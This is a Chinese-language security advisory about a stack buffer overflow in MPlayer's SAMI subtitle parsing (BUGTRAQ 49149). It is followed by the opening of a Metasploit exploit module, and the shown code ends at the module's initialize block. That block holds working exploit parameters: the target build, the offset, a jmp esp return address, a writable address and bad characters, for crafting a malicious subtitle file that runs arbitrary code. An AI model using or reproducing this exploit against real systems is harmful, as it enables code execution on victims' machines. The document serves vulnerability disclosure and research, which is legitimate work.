发布日期:2011-08-15
更新日期:2012-08-07
受影响系统:
MPlayer MPlayer 1.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 49149
MPlayer是一款视频播放器。
MPlayer svn 33471之前版本在subreader.c的"sub_read_line_sami()"函数中存在边界错误,通过特制的SAMI副标题文件可造成栈缓冲区溢出,在应用中执行任意代码。
<*来源:Jacques Louw
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Jacques Louw ()提供了如下测试方法:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'MPlayer SAMI Subtitle File Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow found in the handling
of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.
The overflow is triggered when an unsuspecting victim opens a movie file first,
followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
be done from the console with the mplayer "-sub" option.
},
'License' => MSF_LICENSE,
'Author' => [
'Jacques Louw', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'BID', '49149' ],
[ 'OSVDB', '74604' ],
[ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',
{
'Offset' => 1033,
'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc
'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss
}
],
],
'Privileged' => false,
'DisclosureDate' => 'May 19 2011',
'DefaultTarget' => 0))